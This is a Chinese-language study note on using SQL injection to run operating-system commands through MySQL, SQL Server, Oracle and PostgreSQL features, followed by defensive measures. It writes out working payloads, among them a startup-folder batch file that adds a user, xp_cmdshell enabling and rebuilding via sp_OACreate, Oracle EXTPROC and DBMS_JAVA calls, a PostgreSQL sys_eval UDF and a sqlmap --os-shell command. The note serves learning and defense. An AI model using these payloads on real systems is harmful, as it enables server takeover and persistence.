SQL注入与防御-第六章-2:利用操作系统--执行操作系统命令
SQL 注入与防御——SQL 注入利用操作系统(执行操作系统命令)
一、核心逻辑与价值
通过 数据库内置功能(存储过程、函数等),突破数据库边界,直接在服务器执行操作系统命令。利用数据库高权限运行特性(如 Windows SYSTEM 特权、Linux 高权限用户 ),实现权限提升、横向渗透、持久化控制,将数据库漏洞转化为服务器完全控制。
二、不同数据库的命令执行实现
(一)MySQL
MySQL 本身不直接支持 shell
命令执行,但可通过间接技术利用:
1. 结合文件写入与服务器环境
若 MySQL 与 Web 服务器同机,可通过 SELECT INTO DUMPFILE
构造欺骗性 CGI 脚本(如 .bat
.php
),结合服务器自动执行逻辑(如 Windows 启动文件夹、Linux 计划任务 )触发命令。
示例(Windows 环境,MySQL 以 SYSTEM 权限运行 ):
- 写入批处理文件到管理员启动目录
UNION SELECT 'net user attacker pwd /add' INTO OUTFILE 'C:/Documents and Settings/All Users/Start Menu/Programs/Startup/owned.bat'
管理员登录时,批处理自动执行,攻击者获得新用户权限。
2. 堆叠查询与 UDF 攻击(进阶)
- 堆叠查询:MySQL 5+ 支持
;
分隔的多语句执行,理论上可结合CREATE FUNCTION
(UDF,用户自定义函数 )注入,但需文件写入权限与多查询支持,实战中因防御限制较少见。 - Black Hat 案例参考:Bernardo Damele 在欧洲黑帽大会演示的 ASP.NET + 堆叠查询场景,利用第三方连接程序的多语句支持,实现复杂命令执行(可扩展阅读 sqlmap 黑帽文档 )。
(二)Microsoft SQL Server
依赖 xp_cmdshell
存储过程,是命令执行的核心入口:
1. xp_cmdshell
基础用法
默认禁用,需高权限(如 sysadmin
)启用。启用后直接执行系统命令:
- 启用 xp_cmdshell(需先开高级选项)
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
-- 执行命令(如查询网络配置)
EXEC xp_cmdshell 'ipconfig';
2. 绕过禁用的技巧
若 xp_cmdshell
被禁用,可通过 自定义存储过程 或 CLR 集成 重建命令执行能力:
-
自定义存储过程(模拟
xp_cmdshell
):CREATE PROCEDURE xp_cmdshell3 (@cmd VARCHAR(255), @Wait INT = 0) AS BEGIN DECLARE @oShell INT, @oResult INT, @sResult INT; EXEC @oResult = sp_OACreate 'WScript.Shell', @oShell OUT; IF @oResult = 0 EXEC @sResult = sp_OAMethod @oShell, 'Run', NULL, @cmd, 0, @Wait; IF @oResult = 0 SELECT @sResult; IF @oResult <> 0 EXEC sp_displayoaerrorinfo @oShell, @oResult; EXEC @oResult = sp_OADestroy @oShell; RETURN @sResult; END; -- 调用自定义过程执行命令 EXEC xp_cmdshell3 'ipconfig';
-
CLR 集成:加载 .NET 程序集,执行系统命令。需启用 CLR 并设置
TRUSTWORTHY
数据库属性:- 启用 CLR EXEC sp_configure 'clr enabled', 1; RECONFIGURE; -- 创建不安全程序集(需 sysadmin 权限) CREATE ASSEMBLY [UnsafeAssembly] FROM 'C:\temp\unsafe.dll' WITH PERMISSION_SET = UNSAFE; -- 调用程序集执行命令(需自定义函数封装)
(三)Oracle
依赖 高权限数据库功能(如 DBMS_JAVA
、EXT PROC
、PL/SQL native
),需 DBA
权限或漏洞提权:
1. 基础命令执行(需 DBA 权限)
-
DBMS_JAVA
调用:若用户有Java IO
权限,可通过DBMS_JAVA.RUNJAVA
执行系统命令:- 执行 cmd.exe 命令(Windows 示例) SELECT DBMS_JAVA.RUNJAVA('oracle/aurora/uti/Wrapper', 'main', 'C:\windows\system32\cmd.exe /c ipconfig') FROM DUAL;
-
EXT PROC
外部过程:创建共享库(DLL/so 文件 ),通过EXT PROC
调用系统函数:- 创建外部库(Windows 示例) CREATE OR REPLACE LIBRARY exec_shell AS 'C:\windows\system32\msvcrt.dll'; -- 创建外部过程 CREATE OR REPLACE PROCEDURE oraexec (cmdstring IN CHAR) AS EXTERNAL NAME "system" LIBRARY exec_shell LANGUAGE C; -- 执行命令 EXEC oraexec('ipconfig');
2. 权限提升与漏洞利用
- SYS 模式注入:利用 Oracle 内置对象(如
SYS.LT.MERGEWORKSPACE
)的注入点,提升权限至DBA
。例如,创建函数注入易受攻击的SYS
过程,将DBA
角色赋予普通用户。 - 补丁绕过:利用未及时修复的漏洞(如
PUBLIC
角色执行SYS.LT.MERGEWORKSPACE
),实现无DBA
权限的命令执行。
(四)PostgreSQL
通过 用户自定义函数(UDF) 或 sqlninja
工具 实现命令执行:
1. UDF 注入
创建基于操作系统的 UDF,调用系统命令:
- 示例:创建执行系统命令的 UDF(需高权限)
CREATE FUNCTION sys_eval(text) RETURNS text
AS '$libdir/postgresqludf_sys', 'sys_eval'
LANGUAGE C STRICT;
-- 执行命令
SELECT sys_eval('ipconfig');
2. sqlninja
工具集成
结合 sqlninja
的 --os-shell
选项,上传共享库、创建 UDF,实现交互式命令执行:
sqlmap -u "http://target/test.php?id=1" --os-shell
工具自动完成 文件上传、UDF 创建、命令执行 流程,支持反弹 Shell、权限维持。
三、防御思路
- 权限最小化:
- 限制数据库用户
sysadmin
/DBA
权限,禁用不必要的存储过程(如xp_cmdshell
)。 - 配置
UTL_FILE_DIR
、FILE
权限时,仅开放必要路径。
- 限制数据库用户
- 功能禁用与审计:
- 禁用
xp_cmdshell
、DBMS_JAVA
等高危功能,通过数据库配置工具(如 SQL Server 界面配置 )关闭。 - 审计数据库日志,监控
CREATE FUNCTION
、LOAD_FILE
等敏感操作。
- 禁用
- 漏洞补丁与监控:
- 及时更新数据库补丁,修复 UDF 注入、SYS 模式漏洞等。
- 结合 WAF、IDS 监控异常 SQL 语句(如多语句堆叠、
xp_cmdshell
调用 )。
总结:执行操作系统命令是 SQL 注入的高阶攻击,利用数据库高权限特性突破边界。防御需聚焦权限管控、功能禁用、日志审计,切断数据库到系统命令的执行链路。不同数据库的实现差异大,需针对性加固。